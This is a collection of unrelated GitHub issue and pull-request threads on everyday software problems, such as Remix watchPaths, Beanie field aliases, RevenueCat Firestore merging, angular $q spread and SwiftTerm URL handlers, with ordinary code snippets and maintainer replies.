https://remix.run/docs/en/v1/api/conventions#watchpaths
A discussion comment...
https://github.com/remix-run/remix/discussions/3896#discussioncomment-3297069
Expected Behavior
I just wanted to get clarification.
Actual Behavior
NA

Like I said in my comment, the paths should be an array of globs relative to the current project root. The docs are wrong in that it shows an absolute path.
I imagine if you need to access paths outside of the project root you can use .. to create the correct relative path. All Remix is doing is passing these paths to chokidar to trigger a rebuild when a file is changed.

Thanks. I just wanted to report the bug in the documentation.

@kevinswarner were you able to get watchPaths working?
Like in the discussion you referenced, I have a directory like this:
│ remix.config.js
│
└───app
│   │   ...
│
└───posts
    └───file.md

and this in remix.config.js:
module.export = {
...
  watchPaths: ["./posts/**/*"]

}
and nothing happens when I change files in the posts directory. I've tried ./posts, ./posts/*, ./posts/**, etc.
This is on Remix 1.7.5.

@jsbmg No, I have not been able to get it to work. I am using Turborepo and have a dependent package that I want to watch, and have Remix pick up the change. When I make a change in the package, the package rebuilds correctly (it is a Typescript package), and I even see Remix detecting the change in the correct path, but, for some reason Remix will not reflect the change. Here is an example of the console output when I make a change to the package I am "watching" in watchPaths.
 💿 File changed: ../../node_modules/models/dist/appointment.js
[1] 💿 File changed: ../../node_modules/models/dist/appointment.d.ts
[1] 💿 Rebuilding...
[1] 💿 Rebuilt in 122ms

But, when I visit the page where I use the package, it does not reflect the change I made in the package.
Note, if I stop the Remix dev environment, and start it again, it does indeed pick up the change.
My package json scripts look like this...
"dev": "concurrently \"npm run dev:css\" \"remix dev\"",
"dev:css": "tailwindcss -w -i ./styles/app.css -o app/styles/app.css",

I have a tailwind build step I run before I run remix dev.
I sure wish I could find an answer, but for now I luckily am not changing my dependent package that often, so when I do, I manually stop and start the Remix dev process.

@kevinswarner I deleted my comment above because I realized it wasn't working because I was using an Express server. Looks like your case is different though because you are using Remix Serve...

As I stated in my comment about TurboRepo https://github.com/remix-run/remix/issues/4531, watchPaths is meant to trigger a Remix rebuild.
The web server (whether Remix App Server or Express) only purges the request cache from the BUILD folder (which is code from /app). It does not purge modules from node_modules
Since RAS will purge the cache after every request, changes to app code will automatically be reflected.
However, in order for RAS or Express to pickup changes to node_modules, you'll need to restart them, which is outside the scope of watchPaths.

Just to clear things up: watchPaths can be either a string, an array of string, or an async function returning a string or an array of string.
See https://github.com/remix-run/remix/blob/main/packages/remix-dev/config.ts#L447
We still need to fix the export and mention that paths are supposed to be relative. I'll merge #4578 as soon as it is updated.


HHH-13084 + HHH-13114

https://hibernate.atlassian.net/browse/HHH-13114
https://hibernate.atlassian.net/browse/HHH-13084

@JWGmeligMeyling Thanks for spotting it.

We have to rename the two or three uses of the method as well. Unfortunately I still cant suggest multi line changes through github :( I can however amend the commit if you wish.

@JWGmeligMeyling I'm doing it, Thanks

Superseded by https://github.com/hibernate/hibernate-orm/pull/2685.

Thanks @dreab8 for your help on this!!!


Incorrect word used in article

It's "modulo arithmetic", not "modulus arithmetic".

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 0ed2fd25-d48c-103d-b813-e70c7ee620c9
Version Independent ID: 96224599-fea8-90f7-17ae-b88bce79e7de
Content: Operator Precedence in Visual Basic
Content Source: docs/visual-basic/language-reference/operators/operator-precedence.md
Product: dotnet-visualbasic
GitHub Login: @KathleenDollard
Microsoft Alias: kdollard

... or perhaps even more correctly: "modular arithmetic"!


Set up goerli testnet

Description
This adds configuration for the goerli testnet and some updated logic for features on the testnet. The two main changes are the addition of the faucet and the aave service remapping so that the testnet can pull mainnet rate info from the subgraph.
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Dependency changes
[ ] Code refactor / cleanup
[ ] Documentation or wording changes
[ ] Other

How should this be tested?
Please provide instructions so we can test. Please also list any relevant details for your test configuration.

[ ] Confirm faucet works and also does not show on any other networks
[ ] Confirm aave service data remains unchanged on mainnet

Visual context
Please provide any relevant visual context for UI changes or additions. This could be static screenshots or a loom screencast.
Checklist:

[x] I have performed a self-review of my own code
[x] I have requested at least 2 reviews (If the PR is significant enough, use best judgement here)
[x] I have commented my code where relevant, particularly in hard-to-understand areas
[x] If package-lock.json has changes, it was intentional.
[x] The base of this PR is master if hotfix, develop if not

@mikemcdonald is this ready to be merged? Alchemy is deprecating Kovan on July 1st so would be good to move over to using Goerli  before then.

@timjrobinson yep, let me know once merged so I can update the settings on vercel and get a beta goerli site set up as well

Just fixed a merge conflict, no changes needed to be made. Will merge after this builds.


[Fix] Diverging palette 1 Continuous: color switch

Contact Details
<EMAIL_ADDRESS>Summary
In the Carbon Design System, Color palette >  Diverging palette 1 > Continuous mode, it has a weird behaviour at the beginning. I guess Red 60 and Red 50 might be switched. See image

Justification
general aesthetic of the page
Desired UX and success metrics
Simple fix of the Hexcode, sorry to bother
"Must have" functionality
Simple fix of the Hexcode, sorry to bother
Specific timeline issues / requests
No hurry
Available extra resources
Myself :D

@jeanservaas, @thyhmdo is this the case?

yeah, seems like it was switched to me

ok thank you


update AsyncDiplayKit version?

I'm using swift 3 and need to use the latest version of AsyncDisplayKit to compile without errors. I get this error when I try to install NMessenger:
[!] Unable to satisfy the following requirements:

AsyncDisplayKit required by Podfile
AsyncDisplayKit (= 1.9.90) required by Podfile.lock
AsyncDisplayKit (= 1.9.80) required by NMessenger (1.0.2)

Is there anything I can do to solve this issue or is it something you will need to update in a future version?
thanks

Hi @JustinM1 !
I solved this by forking the NMessenger repo and changing the AsyncDisplayKit version specified at the very bottom of the NMessenger.podspec file to 1.9.90

Great, thanks Sundin. I normally just deal with cocoapods so I wasn't aware of this option. Hopefully the master gets updated soon to reflect the updated AsyncDisplayKit verision.

Are you seeing any issues with 1.9.90? When we updated from 1.9.80 to 1.9.81 we saw a bunch of performance related issues, so we switched back. We'll do our own testing, but it would be good to have another set of eyes.

To be honest, I'm just starting out with AsyncDisplayKit and messing around with it in a playground so I unfortunately cannot provide any feedback. I'm currently using JSQMessages but wanted to see if there were any noticeable performance changes using NMessenger. I'll check back regularly for updates and if I notice anything worth mentioning I'll let you know. NMessenger looks really cool and I look forward to checking it out.
Justin

@atainter: Let me know if you want to discuss performance issues after updating to a newer version. I have a bit of experience with both ASDK and messaging related stuffs. I wrote my own messaging app that uses JSQMessagesViewController and eventually implemented AsyncMessagesViewController on top of ASDK and Swift. I'm on the ASDK slack channel under "huy".

@nguyenhuy Cool! If you're more than welcome to contribute if that interests you. I think @DavidSchechter is working on swift 3 migration right now and also updating ASDK. We're not seeing the 1.9.81 issues we found earlier, so I think it was a temporary problem.

Fixed in #44


[BUG] Unexpected / undesired interaction between Beanie model & Pydantic field alias generator

Describe the bug
When using an alias generator on the model (as per Pydantic docs), two problems occur:

The model is not loaded correctly from database when using BeanieModel.find() vs. when loading the data manually and passing the data to the model ie BeanieModel(**document_dict_from_db). BeanieModel.find() will prefer to load the field's default value (ie Field(default_factory=list) instead of trying both aliases from the alias generator and the original field alias. This happens even if Pydantic's allow_population_by_field_name = True (docs here).

When saving with Beanie API, ie BeanieModel.save(), the field name is saved in database with the alias (from alias_generator) instead of the field's originally defined name.

Thus the same source of data (in database) produces two different results depending on whether Beanie's API is used to fetch data or whether data is fed to BeanieModel after manually fetching it from database.
The end-goal would be to be able to load into BeanieModel data from external source in camelCase, but save to database as snake_case. BeanieModel should be able to load data from both sources (which it does, when passing the data manually ie BeanieModel(**document_dict_from_db), but fails when retrieving from database data that was saved manually with snake_case BeanieModel.find().
To Reproduce
import asyncio
from pydantic import BaseModel
from pydantic.fields import Field
from beanie import init_beanie
from beanie import Document
from motor.motor_asyncio import AsyncIOMotorClient

def to_camel(string: str) -> str:
    """
    "snake_case_to_camel_case" -> "sankeCaseToCamelCase".
    Skip if string starts with "_".
    """
    if string.startswith("_"):    # "_id"
        return string
    return string[0] + "".join(word.capitalize() for word in string.split("_"))[1:]

class TestModel(Document):
    default_li: list[str] = Field(default_factory=list)

    class Config:
        alias_generator = to_camel
        allow_population_by_field_name = True

    class Settings:
        name = "test_coll"

async def main():
    db_async = AsyncIOMotorClient().test_db
    await init_beanie(database=db_async, document_models=[TestModel])

    # --- This would then yield correct result ---
    # EXCEPT THAT it stores field as camelCase (alias_generator) instead of snake_case (original model field name)
    await TestModel(defaultLi=["1", "2"]).save()  # accept camelCase input
    # ^-- {'_id': ObjectId('...'), 'revisionId': None, 'defaultLi': ['1', '2', '3']}
    #                                                       ^^^^^

    # --- This leads to undesired result when using TestModel.find_one() ---
    await db_async.test_coll.insert_one({ "default_li": ["5", "6"] })

    # --- Show result ---
    print("\n--- Inserted using Beanie API ---")
    print("From BeanieAPI:\n ",
          (await TestModel.find_one()).dict())
    print("From PyMongo/Motor:\n ",
          await db_async.test_coll.find_one())

    print("\n--- Inserted manually ---")
    print("From BeanieAPI (why doesn't the model load correctly?):\n ",
          (await TestModel.find_one(skip=1)).dict())
    print("From PyMongo/Motor:\n ",
          await db_async.test_coll.find_one(skip=1))

    # Manually loading the model from dict works as expected:
    print("\n--- Desired result ---")
    print(" ", TestModel(**await db_async.test_coll.find_one(skip=1)).dict())

    # Delete all documents in test_coll
    await db_async.test_coll.drop()

try:
    loop = asyncio.get_running_loop()
except RuntimeError:
    loop = None
if loop and loop.is_running():
    # When inside Jupyter Notebook
    loop.create_task(main())
else:
    asyncio.run(main())

Output:
--- Inserted using Beanie API ---
From BeanieAPI:
  {'id': ObjectId('630ded13d0d31c1d52e7b92b'), 'default_li': ['1', '2']}
From PyMongo/Motor:
  {'_id': ObjectId('630ded13d0d31c1d52e7b92b'), 'revisionId': None, 'defaultLi': ['1', '2']}
             *** ^--- notice `defaultLi`  -->  Beanie saved data as camelCase (using alias_generator) ***

--- Inserted manually ---
From BeanieAPI (why doesn't the model load correctly?):
  {'id': ObjectId('630ded13d0d31c1d52e7b92c'), 'default_li': []}
From PyMongo/Motor:
  {'_id': ObjectId('630ded13d0d31c1d52e7b92c'), 'default_li': ['5', '6']}

--- Desired result ---
  {'id': ObjectId('630ded13d0d31c1d52e7b92c'), 'default_li': ['5', '6']}

Expected behavior
The BeanieModel should be able to load data from db using original field names and should not revert to the field's default value if it doesn't find the field's alias given by alias_generator at least when Pydantic config is to allow_population_by_field_name = True.
In brief,  the behavior of the following two approaches should produce identical results (currently they do not):
# Using Beanie API (currently doesn't produce desired result):
await TestModel.find_one()
# Loading data into BeanieModel after fetching it manually from db:
await TestModel(**await db_async.test_coll.find_one())

Additional context
python 3.10.5
pydantic 1.9.2
beanie 1.11.9

Hi! Thank you for the bug report. I added this to my todo list

I think this one might be an actual show-stopper for some people, as camel-cased properties for request/response models (and thus parameters for endpoints) are desirable in many cases.

Any updates?
I totally agree with @bkis. I struggled with the same problem in Odmantic, so I had to replace that with Beanie. But again, I'm facing it here ;(

Yes and no. I actually have a workaround for it, yes. But to be fair it's not really a workaround but rather a new perspective on the problem that makes peace with how Beanie behaves:
I obviously want the fields of my models in Python to be snake_cased. But I also want my (public facing) API (I am building a project on FastAPI) to have every field of request/response models, query params, path params shown as camelCased, because this is more common in the realm of JS, which I build my client on. Now the part that is missing is MongoDB - what casing do I want for the field names inside the DB? Well, it...

actually doesn't really matter from a technical perspective.
doesn't give me any advantage to have them snake_cased like in Python.
even makes sense to have them camelCased in the first place, because MongoDB is conceptionally much closer to JS than it is to Pyhton.

So what causes the problems discussed in this issue? It's the fact that Beanie shows the described unexpected behavior if the model's fields are written to MongoDB using snake_case. But why not change that?
from humps import camelize  # or roll your own, but why??

class DocumentBase(Document):
    """Base class for all ODM models"""

    def dict(self, **kwargs) -> dict:
        return super().dict(
            by_alias=kwargs.pop("by_alias", True)
            **kwargs,
        )

    def json(self, **kwargs) -> str:
        return super().json(
            by_alias=kwargs.pop("by_alias", True),
            **kwargs,
        )

    class Config:
        alias_generator = camelize
        allow_population_by_field_name = True

Doing this, I can...

always access my models' properties with snake_case (like person.first_name)
init models using both casings (like Person(firstName="Rick", lastName="Sanchez") as well as Person(first_name="Rick", last_name="Sanchez")). This is good for just throwing data at my models that came in through my camelCased API endpoints.
be sure that everywhere outside of the context of my model instances, I consistently work with snakeCase. So whenever I might use a dict literal in my code (happens only in tests for mocking request data) to feed into a model instance, I just use snakeCase, because while it might not look "pythonic" in my code, what I want to simulate is data coming from a non-Python context like JS or MongoDB.

This might not solve the discussed problem in all situations, but it did for me. Also please note that my example is drastically reduced for demonstration purposes. I actually have quite a lot of boilerplate code going on to make everything work as I want it to, including 4 (!!!) models for each of my object schemas, e.g. PersonCreate, PersonRead, PersonUpdate (each based on Pydantic's BaseModel somewhere down this hell of an inheritance tree I created and all having an equal Config as shown above) and, separated from those and never facing my REST-API: PersonDocument, which is (again, somewhere down the line) based on Beanie's Document.
Maybe that helps some people that have similar requirements in their project. It helped me make peace with this issue :)

Hi all,
The problem is not with the parsing, but with the way Beanie retrieves data from the database. For each query, it uses model-based projections to retrieve only the data it needs. Projections use aliases, and it cannot set up aliases or field names, or both, as it will not be efficient. It uses aliases for fetching and saving data.
However, you can override the projections for each model to retrieve everything:
import asyncio
from pydantic import BaseModel
from pydantic.fields import Field
from beanie import init_beanie
from beanie import Document
from motor.motor_asyncio import AsyncIOMotorClient

def to_camel(string: str) -> str:
    """
    "snake_case_to_camel_case" -> "sankeCaseToCamelCase".
    Skip if string starts with "_".
    """
    if string.startswith("_"):    # "_id"
        return string
    return string[0] + "".join(word.capitalize() for word in string.split("_"))[1:]

class TestModel(Document):
    default_li: list[str] = Field(default_factory=list)

    class Config:
        alias_generator = to_camel
        allow_population_by_field_name = True

    class Settings:
        name = "test_coll"
        projection = {}

async def main():
    db_async = AsyncIOMotorClient("mongodb://beanie:beanie@localhost:27017").test_db
    await init_beanie(database=db_async, document_models=[TestModel])

    # --- This would then yield correct result ---
    # EXCEPT THAT it stores field as camelCase (alias_generator) instead of snake_case (original model field name)
    await TestModel(defaultLi=["1", "2"]).save()  # accept camelCase input
    # ^-- {'_id': ObjectId('...'), 'revisionId': None, 'defaultLi': ['1', '2', '3']}
    #                                                       ^^^^^

    # --- This leads to undesired result when using TestModel.find_one() ---
    await db_async.test_coll.insert_one({ "default_li": ["5", "6"] })

    # --- Show result ---
    print("\n--- Inserted using Beanie API ---")
    print("From BeanieAPI:\n ",
          (await TestModel.find_one()).dict())
    print("From PyMongo/Motor:\n ",
          await db_async.test_coll.find_one())

    print("\n--- Inserted manually ---")
    print("From BeanieAPI (why doesn't the model load correctly?):\n ",
          (await TestModel.find_one(skip=1)).dict())
    print("From PyMongo/Motor:\n ",
          await db_async.test_coll.find_one(skip=1))

    # Manually loading the model from dict works as expected:
    print("\n--- Desired result ---")
    print(" ", TestModel.parse_obj(await db_async.test_coll.find_one(skip=1)).dict())

    # Delete all documents in test_coll
    await db_async.test_coll.drop()

try:
    loop = asyncio.get_running_loop()
except RuntimeError:
    loop = None
if loop and loop.is_running():
    # When inside Jupyter Notebook
    loop.create_task(main())
else:
    asyncio.run(main())


The link to the IDP provider config is broken in README

In the README, the link https://github.com/canonical/kratos-external-idp-integrator/blob/main/config.yaml is broken in:

More information about the Idp provider configuration can be found here

Sorry about that, we recently migrated to using charmcraft.yaml for our metadata/config/actions and we didn't update the docs. You can find see the charm's config here. We will update docs soon.
Thanks for reporting this.


Sortable table: Default sort direction

When clicking on a table header, the data is sorted in descending order. But it seems more logical to sort it ascending on first click.
The best would be to offer an option which defines the default sorting order.

Agreed! This will be in 3.0.0-beta4.


feature(configuration): E2E Continuous Integration

Configure with Heroku to make cypress.io tests available via GitHub dashboard
https://www.cypress.io/dashboard/

Just will need admin access rights to the repo before I can begin this.


Incorrect data in customers collection

entitlements and subscriptions object have incorrect data when promo entitlement is revoked!
Steps to reproduce :

Grant 2 promo entitlements to a user.
Revoke any 1 promo entitlement from the same user.
entitlements and subscriptions object will still show (In firestore customers collection) that user is subscribed to these entitlement/subscription.

When I debugged the issue, I found that using the SetOption - { merge: true } is causing the error; as merge doesn't remove an existing key from an object when more than 1 keys are present!

Thanks for reporting this @snehsagarajput , we have a ticket internally to look at this ASAP!
I'll let you know when I know more.

Confirmed that I got some time to reproduce the issue, and working on a fix now.

@alfondotnet Thanks for the quick fix ☺. When can I expect the latest fix to be available?

Also want to know that the request body payload received by firebase-extension and custom webhook are same or different?

@alfondotnet Thanks for the quick fix ☺. When can I expect the latest fix to be available?

No problem, sorry for the inconveniences, I'll ship a new version later today.

Also want to know that the request body payload received by firebase-extension and custom webhook are same or different?

They object under the key event is the same that the webhook receives.
We added an additional key in here `customer_info` which it's the same as the response you get from calling our GET /v1/subscribers/{app_user_id}

@snehsagarajput expect the new version to be shipped in the following hour, and you'll be able to upgrade!

@alfondotnet Because you now override customer data instead of merging, we should no longer use our current users collection as they won't merge?
This is fromt he configuration page of the plugin configuration:
'This can be the location of an existing user collection, the extension will not overwrite your existing data but rather merge the RevenueCat data into your existing firestore documents.

Hi @reapz,
You are right, I now believe this wasn't at all how this fix should have gone, and in fact at the bare minimum it should have been a breaking change.
I think something like this https://github.com/RevenueCat/firestore-revenuecat-purchases/issues/34#issuecomment-1207162944 could take care of most use cases in which we allow complete control over where the collection goes, and then we merge only the first level keys (entitlements, subscriptions, etc...).
Just for safety, I'll push an update reverting this change and tomorrow I'll discuss with the team a more robust solution.
Thanks for bringing this up

Just published 0.1.3 which basically reverts the changes added in 0.1.2.
For the time being, @snehsagarajput you can keep using 0.1.2, I'll reopen this issue and next week we'll address this issue more holistically.


Export organization type definitions at top level

I'm building a wrapper around the WorkOS client in TypeScript and noticed that types such as Organization and CreateOrganizationOptions are not exported by @workos-inc/node. Instead I had to import them from @workos-inc/node/lib/organizations/interfaces.

Thanks for the PR!


Error: Couldn't find preset "next/babel"

Open:
https://github.com/zeit/next.js/tree/master/examples/with-mobx
Install:
yarn
Run:
yarn run dev
Upgrade to latest next:
yarn upgrade next
Run again:
yarn run dev
Compiles with error: Error: Couldn't find preset "next/babel"
So something has changed between now and beta.4...

yarn upgrade next actually installs 1.x instead of 2x beta. Please use yarn upgrade next@beta 👍

Thanks @timneutkens . I've always had it set to "latest", brain fart on my part :)


Refactoring Popover to a public component

Closes https://jira.corp.adobe.com/browse/RSP-1643
📝 Test Instructions:
Lint and tests pass, but I suspect Popover and everything that uses it need to be tested.
🧢 Your Team:
RSP

Closing because these were part of another PR.


enhancement: show sub command hints in menu

Current:
   Ascii85 / Base85 Decoding
   Decode your text to Ascii85 ( Base85 ) text

   Ascii85 / Base85 Encoding
   Encode your text to Ascii85 ( Base85 )

   Base32 Decode
   Decode your base32 text

   Base32 Encoding
   Encode your text to Base32

   Base64 Decode
   Decode your base64 text

   Base64 Encoding
   Encode your text to Base64

Desired:
   Ascii85 / Base85 Decoding (ascii85-decode)
   Decode your text to Ascii85 ( Base85 ) text

   Ascii85 / Base85 Encoding (ascii85-encode)
   Encode your text to Ascii85 ( Base85 )

   Base32 Decode (base32-decode)
   Decode your base32 text

   ...

Or something like that.

Thanks so much, this is a great idea. I'm looking at possible solutions for this

Thanks so much again for the suggestion.
This is now added in commit 9aa2088d404c29e3d1f059b8b7713f2d93290720
Will do a tagged release soon.
Screenshot:

If you think there is something, feel free to open this issue again 🎉


Feature: Single name prompt for sign in

I think that using prompt() method defined in JavaScript, we can restrict the setting of names, and also thus remove the necessity to impersonate other people (except by actual coordination).

I'm honestly not sure this is worth pursuing anymore. Thoughts?

I don't think we need an account system, but preventing duplicate Usernames would still be nice, we could maybe find a way to get a real time list of usernames to do something like this.

@Glacier150 Good idea. I was thinking of embedding some state by creating a struct called ConnectionFactory that implemented the Factory trait and putting new connections inside a Vec. Then we could implement the client_connected method, and have the handler broadcast a room update before being returned as part of the signature.


grunt package is broken with g-d-t 0.11.x and grunt 1.x

When a build is performed with them, sites/all/modules/custom and sites/all/themes/custom are empty.

Thanks for the report @smerrill. This seems to be related to changes in the glob dependency included with the Grunt 1.0.0 update. Prior to v4.0.0, node-glob followed symlinks.

The plan to switch to rsync will fix for non-Windows.

#275 is a solution that uses copy. I'll plan to release this as v0.11.1.


Checking if stacktrace exists before accessing it

Ran into this react native error even when not using Sentry. Sentry will crash (and crash your RN app with it) if stacktrace doesn't exist. This adds a check for stacktrace just like the checks being performed in the immediate vicinity of this code.
Related to issue #487

Thanks for the fix 👍


'Table#getAll' should handle empty 'KeyList' gracefully

Currently Table#getAll would result in com.amazonaws.services.dynamodbv2.model.AmazonDynamoDBException: The list of keys in RequestItems for BatchGetItem is required: my_table has empty list (Service: AmazonDynamoDBv2; Status Code: 400; Error Code: ValidationException; Request ID: ...) if the KeyList or MultipleKeyList is empty.
It would be better if it silently returns an empty list so you don't have to perform the check before calling Table#getAll

Hi @todor-kolev
First of all, our apologies for not handling this issue until now; the news agenda has kept us busy to say the least 😅
I’ve given this issue some thought. I think you are right that scanamo should provide some measure of protection against a subset of errors. However I wouldn’t want our solution to encourage bad practices; besides, an empty list might not be semantically correct depending on if you view the bottle as half-full or half-empty.
A nice solution IMHO would be to leverage the type system so that this constraint can be statically checked at compile time. Do you feel like this would be an acceptable fix for your use case?

I don't think there's a way to check how many key ids the client will ask for at compile time but I guess you can make the function accept NonEmptyList  of some sort. .


CLOUD-783 - Cleanup test cluster before deletion

CHANGE DESCRIPTION
Problem:
Short explanation of the problem.
Cause:
Short explanation of the root cause of the issue if applicable.
Solution:
Short explanation of the solution we are providing with this PR.
CHECKLIST
Jira

[ ] Is the Jira ticket created and referenced properly?
[ ] Does the Jira ticket have the proper statuses for documentation (Needs Doc) and QA (Needs QA)?
[ ] Does the Jira ticket link to the proper milestone (Fix Version field)?

Tests

[ ] Is an E2E test/test case added for the new feature/change?
[ ] Are unit tests added where appropriate?

Config/Logging/Testability

[ ] Are all needed new/changed options added to default YAML files?
[ ] Are the manifests (crd/bundle) regenerated if needed?
[ ] Did we add proper logging messages for operator actions?
[ ] Did we ensure compatibility with the previous version or cluster upgrade process?
[ ] Does the change support oldest and newest supported PS version?
[ ] Does the change support oldest and newest supported Kubernetes version?

Test name
Status

async-ignore-annotations
passed

auto-config
passed

config
passed

config-router
failure

demand-backup
passed

gr-bootstrap
failure

gr-demand-backup
passed

gr-ignore-annotations
passed

gr-init-deploy
passed

gr-one-pod
passed

gr-scaling
passed

gr-tls-cert-manager
passed

haproxy
passed

init-deploy
passed

limits
passed

monitoring
passed

one-pod
passed

scaling
passed

semi-sync
passed

service-per-pod
passed

sidecars
passed

tls-cert-manager
passed

users
passed

version-service
passed

We run 24 out of 24

commit: https://github.com/percona/percona-server-mysql-operator/pull/359/commits/6ef395e25c546e3ff92044065331570abc69e237
image: perconalab/percona-server-mysql-operator:PR-359-6ef395e

Test name
Status

async-ignore-annotations
passed

auto-config
passed

config
passed

config-router
passed

demand-backup
passed

gr-bootstrap
failure

gr-demand-backup
passed

gr-ignore-annotations
passed

gr-init-deploy
passed

gr-one-pod
passed

gr-scaling
passed

gr-tls-cert-manager
passed

haproxy
passed

init-deploy
passed

limits
passed

monitoring
passed

one-pod
passed

scaling
passed

semi-sync
passed

service-per-pod
passed

sidecars
passed

tls-cert-manager
passed

users
passed

version-service
passed

We run 24 out of 24

commit: https://github.com/percona/percona-server-mysql-operator/pull/359/commits/6ef395e25c546e3ff92044065331570abc69e237
image: perconalab/percona-server-mysql-operator:PR-359-6ef395e


It should probably allow you to do spread on an arbitrary promise?

I want to be able to do something like
promise1.then(function () {
    return $q.all([promise2, promise3]);
}).spread(function () { ... });

but right now the .spread method is only added to the return value of $q.all. I think adding the method to the Promise prototype instead of only adding it to the return value of $q.all would do the trick!

+1 definitely!

Similar to #7.

@Kuzmin, @devinivym @stevematyas:
Sadly it is not possible to add the spread method on promises by default as the Promise object is private. See: https://github.com/angular/angular.js/blob/master/src/ng/q.js#L271-297 and https://github.com/angular/angular.js/blob/master/src/ng/q.js#L578-582
It would be possible by replacing the whole $delegate service, but I did not want to copy past angular source code, I only wanted to decorate methods.
I was able to add the spread method to more $q methods: when, all, resolve, defer.
I also decorated the then methods on promises created through on of the above decorated methods to support spread as well and made sure this decorator was called recursively on all then methods.
I wrote a test which resembles your example, @Kuzmin.
Can you guys review PR? https://github.com/showpad/angular-q-spread/pull/10

@klaascuvelier
Out of curiosity I attempted to apply something similar to what I did in angular-q-thenresolve to resolve the proposed issue.
I based it off of #10, left the spec suite as is and replaced the decorator with the following:
$provide.decorator('$q', ['$delegate', function ($delegate) {
  var originalDefer = $delegate.defer;

  $delegate.defer = function () {
    var promiseProto = originalDefer().promise.constructor.prototype;

    Object.defineProperty(promiseProto, 'spread', {
      value: function (resolve, reject) {
        function spread (data) {
          return resolve.apply(void 0, data);
        }

        return this.then(spread, reject);
      },
      writable: true,
      enumerable: false
    });

    return originalDefer();
  }

  return $delegate;
}]);

I haven't tested this in the wild, but it does run through the spec suite of #10 with flying colours.
So you could actually expose it on the promise prototype. And you're not really overwriting $q, so much as using it as a gateway to do some grunt work on the promise prototype.

In saying that, it may not even be needed to dig down on the prototype level with the changes you've introduced. Changes look good the way they are imho. I only ever wanted to highlight an alternative route of introducing the .spread method across the board.

@kasperlewau thanks man! Your method looks much cleaner.
I did not know there was a way to access the prototype of the promise this way. Great.
I created this new PR and I am going to merge in that one pretty soon: https://github.com/showpad/angular-q-spread/pull/11

I'm glad I could be of some assistance - you are most welcome! :smile:

fixed in #11


Improve the getting started page

Show people what to learn first.
User feedback: it was hard to understand what to look at first. Create a better overview.

We could loop this into https://github.com/OBOAcademy/obook/pull/156.


[6.4.x] BZ-1319546 - Marshalling of results are done twice resulting in a mal…

…formed response
back port of #382
(cherry picked from commit ef7961e22a683715b27695d2bcd4c7fb92923de3)

jenkins retest this

merged into 6.4.x


Error: Cannot find module './lib/main' when try to upgrade to latest Ghost version

module.js:340
    throw err;
          ^
Error: Cannot find module './lib/main'
    at Function.Module._resolveFilename (module.js:338:15)
    at Function.Module._load (module.js:280:25)
    at Module.require (module.js:364:17)
    at require (module.js:380:17)
    at Object.<anonymous> (/var/www/ghost/node_modules/intl-messageformat/index.js:5:25)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Module.require (module.js:364:17)
    at require (module.js:380:17)
    at Object.<anonymous> (/var/www/ghost/core/server/i18n.js:7:27)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)

I'm using node version 4.2.0 and followed digitalocean guide for upgrade.

Went through the upgrade guide again and it's now working.

Hi @alicoding, what was the problem? I'm having the same issue.

@fjaguero I honestly have no idea why it was throwing the error, but once I follow the guide from start again and it was working fine.

@fjaguero It sounds like npm had some issues when installing, unfortunately it's not always the most reliable and can fail silently. We have a troubleshooting guide that details some steps to try and get an install working again - http://support.ghost.org/troubleshooting/

@kevinansfield Thanks, I will have a double-check of each item. It may be the free memory issue.


URL handler

Need to register url handlers for various transports like ssh:// or swifttermapp:// with syntax like this:
prefix://[username]@[hostname]:[port number]

Please also add the password:
prefix://[username]:[password]@[hostname]:[port number]

As the password can include special characters, it must be url encoded.
If all parameters are there, the app should connect right away without showing another screen which the user has to confirm.
The ssh: scheme alone is a problem, because other apps also handle it. If you try to start a ssh: url, then iOS starts the app which was installed/updated last. This is more or less random. The user can not choose between the apps which handle the scheme (in contrast to Android).

I have implemented ssh:// and swifttermapp:// but I have not implemented password, I think this is generally frowned upon.

I think this is generally frowned upon.

Why? Yes, a malicious app could also register for the swifttermapp scheme, but the user would immediately recognize it because SwiftTerm won't start and (hopefully) report the other app.
Yesterday SwiftTermApp was started when I tried to open a ssh:// url. It tried to connect to the host, but there was an error because the password was incorrect (because you ignored it). There was no way to enter (or paste) the password manually.
Today I installed SwiftTermApp 1.3 (197) fresh from TestFlight. Now ssh:// starts SwiftTermApp, but it doesn't start a session. It doesn't even show the parameters from the url anywhere. When I try to start a swifttermapp:// url, then SwiftTermApp isn't even started. It almost seems like this is an older version than yesterday.


pkg/newlog: suppress log messages with newly introduced syslog/kernel log levels

This PR pulls latest pillar definitions and implements syslog and kernel log suppression according to the 'debug.syslog.loglevel' and 'debug.kernel.loglevel' configuration properties.

Rebased on latest master. Once #3807 is merged, I will rework correct sha in this one.

@milan-zededa Milan, could you please review this. I also added the following patch: 1b2f4fa which fixes vendoring for the newlog, this repeats the kube/cnirpc line added in pillar/go.mod. I'm not sure that this is the right way, so I just copied what you did.

I forgot to remove that replace. It was needed because the package referenced from pillar was not yet merged (it was part of the same PR). I'm going to open a PR removing that. Then, once it is merged and you rebase your PR, you should no longer have this problem.

@rouming We will need to merge this first: https://github.com/lf-edge/eve/pull/3839

@rouming We will need to merge this first: #3839

Ok, now clean and tidy! Thanks.

